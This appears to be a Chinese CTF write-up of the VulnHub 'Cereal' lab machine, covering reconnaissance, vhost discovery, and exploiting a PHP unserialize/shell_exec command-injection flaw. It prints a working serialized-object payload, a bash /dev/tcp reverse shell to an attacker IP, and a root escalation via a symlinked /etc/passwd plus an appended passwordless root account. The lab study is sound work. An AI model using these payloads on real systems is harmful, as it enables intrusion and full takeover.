VulnHub-Cereal

前言

  这是打靶训练的第24周,难度高,靶机下载

信息搜集

  nmap扫描结果

PORT      STATE SERVICE    VERSION
21/tcp    open  ftp        vsftpd 3.0.3
22/tcp    open  ssh        OpenSSH 8.0 (protocol 2.0)
80/tcp    open  http       Apache httpd 2.4.37 (())
139/tcp   open  tcpwrapped
445/tcp   open  tcpwrapped
3306/tcp  open  mysql?
11111/tcp open  tcpwrapped
22222/tcp open  tcpwrapped
22223/tcp open  tcpwrapped
33333/tcp open  tcpwrapped
33334/tcp open  tcpwrapped
44441/tcp open  http       Apache httpd 2.4.37 (())
44444/tcp open  tcpwrapped
55551/tcp open  tcpwrapped
55555/tcp open  tcpwrapped

  看到139还有445端口,我就觉得不对劲,一般linux不开这些端口。试了试22端口可以匿名登录,但没有利用点。80和44441都是http

  先到80端口看看
  

  apache默认页面,继续使用dirsearch进行目录扫描

[17:22:37] 301 -  234B  - /admin  ->  http://10.16.122.36/admin/
[17:22:38] 200 -    2KB - /admin/
[17:22:38] 403 -  199B  - /admin/.htaccess
[17:22:38] 200 -    2KB - /admin/?/login
[17:22:38] 200 -    2KB - /admin/index.php
[17:22:51] 301 -  233B  - /blog  ->  http://10.16.122.36/blog/
[17:22:52] 403 -  199B  - /cgi-bin/
[17:22:56] 200 -    8KB - /blog/wp-login.php
[17:22:56] 200 -    8KB - /blog/
[17:23:21] 200 -   75KB - /phpinfo.php

  admin页面尝试了一波弱口令未果,来到blog界面
  
  提示在http://cereal.ctf存在备份文件,先记下来。这个网站明显使用wordpress框架,使用wpscan扫一波
  
  没发现备份文件,没发现插件漏洞。那就将cereal.ctf和ip绑定好后,访问http://cereal.ctf/blog发现界面和使用ip访问是一样的。dirsearch的扫描结果也和ip访问一样的。

  访问前面的http://cereal.ctf:44441/端口看看
  

  Coming soon…没有了,啥也没有了。目前可以利用的点就只有爆破后台了。但又提示cereal.ctf存在备份文件,那这个备份文件在哪里呢。而且为啥要非得绑定一个域名,难道存在子域名嘛。

  使用gobuster进行子域名爆破gobuster vhost -u http://cereal.ctf:44441 -w /usr/share/seclists/Discovery/DNS/fierce-hostlist.txt
  

反序列化

  存在二级域secure.cereal.ctf:44441,访问
  
  输入8.8.8.8,能成功执行ping命令
  
  尝试8.8.8.8;id,8.8.8.8|whoami,等等都不行,先抓包看看啥情况
  
  看到这个我就想起来反序列化,虽然我不会,暂时放一边吧

  换一种爆破工具,dirbuster,按下图配置
  
  稍等片刻出了结果,有一个叫back_en的目录,虽然是403
  
  接着爆破back_en目录
  
  经过漫长的搜集,终于找到了备份文件http://secure.cereal.ctf:44441/back_en/index.php.bak
  
  打开看,下面是关键代码

class pingTest {
	public $ipAddress = "127.0.0.1";
	public $isValid = False;
	public $output = "";

	function validate() {
		if (!$this->isValid) {
			if (filter_var($this->ipAddress, FILTER_VALIDATE_IP))
			{
				$this->isValid = True;
			}
		}
		$this->ping();

	}

	public function ping()
        {
		if ($this->isValid) {
			$this->output = shell_exec("ping -c 3 $this->ipAddress");	
		}
        }

}

if (isset($_POST['obj'])) {
	$pingTest = unserialize(urldecode($_POST['obj']));
} else {
	$pingTest = new pingTest;
}

$pingTest->validate();

  可看到判断isValid是否为真,如果为真就执行ping -c 3 ip地址,并且ip地址是没有经过任何过滤的
  构造如下poc

<?php
class pingTest{
    public $ipAddress = "127.0.0.1;whoami";
    public $isValid = True;
}
$obj = new pingTest();
echo urlencode(serialize($obj));
?>

  执行后得到下面内容O%3A8%3A%22pingTest%22%3A2%3A%7Bs%3A9%3A%22ipAddress%22%3Bs%3A16%3A%22127.0.0.1%3Bwhoami%22%3Bs%3A7%3A%22isValid%22%3Bb%3A1%3B%7D

  将上面内容替换进obj后,得到用户名为apache
  
  命令成功执行,随后构造了一个public $ipAddress = "127.0.0.1;bash -i >& /dev/tcp/10.16.122.31/4444 0>&1";,反弹了一个shell
  

提权

  因为没找到任何可以提权的方法,这里使用pspy,它的作用是可以非root用户下,实时监控所有新创建的进程,包括root权限的进程。
  
  经过7分钟左右的等待,发现执行了/usr/share/scripts/chown.sh脚本,内容如下

chown rocky:apache /home/rocky/public_html/*

  它将/home/rocky/public_html/*权限改为了rocky:apache。那我们可以使用软连接进行提权,操作如下

cd /home/rocky/public_html
ln -sf /etc/passwd ./passwd # 连接到/etc/passwd

  软连接的意思就是相当于windows的快捷方式,即访问passwd相当于访问/etc/passwd
  
  等待几分钟后,自动执行完chown rocky:apache /home/rocky/public_html/*命令,/etc/passwd已经拥有写权限了
  
  echo "lion::0:0:root:/root:/bin/bash" >> /etc/passwd写入后,su - lion提权成功
  
  本次难度我认为是极高的,并且非常接近实战

查看评论 -
评论